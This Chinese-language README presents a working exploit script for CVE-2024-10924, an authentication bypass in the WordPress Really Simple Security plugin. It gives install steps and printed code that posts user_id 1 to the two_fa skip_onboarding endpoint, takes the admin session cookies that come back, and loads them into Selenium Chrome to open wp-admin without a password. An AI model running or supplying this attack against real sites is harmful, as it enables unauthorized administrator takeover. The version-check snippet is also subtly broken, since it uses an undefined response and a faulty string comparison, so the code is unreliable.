WordPress Really Simple Security 认证绕过漏洞利用工具 (CVE-2024-10924)
本项目是一个针对 WordPress 插件 Really Simple Security (包括 Free、Pro 和 Pro Multisite 版本) 在 9.0.0 至 9.1.1.1 版本中存在的一个严重认证绕过漏洞的自动化利用脚本。该工具可以检测目标站点是否易受攻击,并通过漏洞获取管理员权限的会话,最终自动化地打开浏览器,进入 WordPress 管理面板。
✨ 功能特性
- 漏洞利用:向存在漏洞的 API 端点 (
/wp-json/reallysimplessl/v1/two_fa/skip_onboarding) 发送精心构造的请求,利用不当的错误处理逻辑,绕过身份验证。 - 自动获取会话:从漏洞利用的响应中提取并保存有效的会话 Cookie。
- 浏览器自动化:集成 Selenium,自动启动 Chrome 浏览器,将获取到的会话 Cookie 注入当前会话,并自动跳转到 WordPress 后台 (
/wp-admin/),实现无密码登录。 - 命令行交互:提供简单的命令行参数接口,方便快速指定目标 URL 并执行测试。
📦 安装指南
系统要求
- Python 3.7 或更高版本
- Google Chrome 浏览器
- 网络连接以下载 ChromeDriver
安装步骤
-
克隆或下载项目代码:将本脚本保存为
CVE-2024-10924.py。 -
安装 Python 依赖: 打开终端或命令提示符,导航到脚本所在目录,执行以下命令安装所需的 Python 库:
pip install requests selenium webdriver-managerrequests: 用于发送 HTTP 请求进行版本检测和漏洞利用。selenium: 用于自动化浏览器操作。webdriver-manager: 用于自动管理 ChromeDriver 驱动版本,确保与本地 Chrome 浏览器兼容。
🚀 使用说明
基础用法
在终端中运行脚本,并使用 -u 或 --url 参数指定目标 WordPress 站点的 URL。
python CVE-2024-10924.py -u http://target-website.com/
工作流程
- 如果检测到的版本在
9.0.0到9.1.1.1之间,脚本会继续执行漏洞利用步骤。 - 漏洞利用成功后,会尝试从响应头中提取
Set-Cookie,并打印提示信息。 - 脚本将自动启动 Chrome 浏览器,将获取到的 Cookie 注入浏览器会话。
- 浏览器将自动导航至
http://target-website.com/wp-admin/,此时如果成功,将直接显示 WordPress 管理面板,而无需输入密码。
输出示例
[+] The site is vulnerable: installed version is 9.1.0
[+] Exploit successful, opening browser...
[DEBUG] Extracted cookies: {'wordpress_logged_in_...': '...', 'wp-settings-...': '...'}
[+] Logged in successfully
[+] Keeping browser open for debugging...
🧠 核心代码解析
1. 版本检测 (version_check)
def version_check(url):
try:
response.raise_for_status()
except requests.RequestException as e:
return False
content = response.text
for line in content.splitlines():
if line.startswith("Stable tag:"):
version = line.split(":")[1].strip()
# 检查版本是否小于等于9.0.0或9.1.1.1
if version <= "9.0.0" or version <= "9.1.1.1":
print(f"[+] The site is vulnerable: installed version is {version}")
return True
else:
print(f"[-] The site is safe: installed version is {version}")
return False
return False
2. 漏洞利用 (exploit)
此函数向易受攻击的 API 端点发送 POST 请求,利用逻辑缺陷获取认证 Cookie。请求体中包含 user_id 等关键信息。
def exploit(url):
exploit_url = f"{url}/wp-json/reallysimplessl/v1/two_fa/skip_onboarding"
data = {"user_id": "1", "redirect_to": "/", "login_nonce": "random"}
headers = {"Content-Type": "application/json"}
try:
response = requests.post(exploit_url, json=data, headers=headers)
response.raise_for_status()
except requests.RequestException as e:
print(f"[-] Exploit request failed: {e}")
return None
# 检查响应头中是否包含 Set-Cookie,这标志着漏洞利用成功
if "Set-Cookie" in response.headers:
return response.cookies.get_dict()
else:
print("[-] Exploit failed: No Set-Cookie header found")
return None
3. 浏览器自动化 (open_browser)
该函数利用 Selenium 和获取到的 Cookie 来自动登录 WordPress 后台。它负责启动浏览器、添加 Cookie,并最终跳转到管理面板。
def open_browser(url, cookies):
options = Options()
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
# 自动下载并管理 ChromeDriver
service = Service(ChromeDriverManager().install())
driver = webdriver.Chrome(service=service, options=options)
try:
# 首先访问目标站点的域,以便后续添加 Cookie
driver.get(f"{url}/wp-admin/")
driver.implicitly_wait(10)
print("[DEBUG] Extracted cookies:", cookies)
# 将获取到的 Cookie 注入浏览器
for name, value in cookies.items():
driver.add_cookie({"name": name, "value": value, "path": "/"})
# 刷新页面,以应用 Cookie,并跳转到 wp-admin
driver.get(f"{url}/wp-admin/")
time.sleep(5)
# 简单验证是否登录成功(通过页面内容判断)
if "Dashboard" in driver.page_source:
print("[+] Logged in successfully")
else:
print("[-] Login failed")
print("[+] Keeping browser open for debugging...")
time.sleep(30)
finally:
driver.quit()
6HFtX5dABrKlqXeO5PUv/zhUEDIzx86+TCavk0J8LmizeQ64nvCKrvYpGwsDMVSV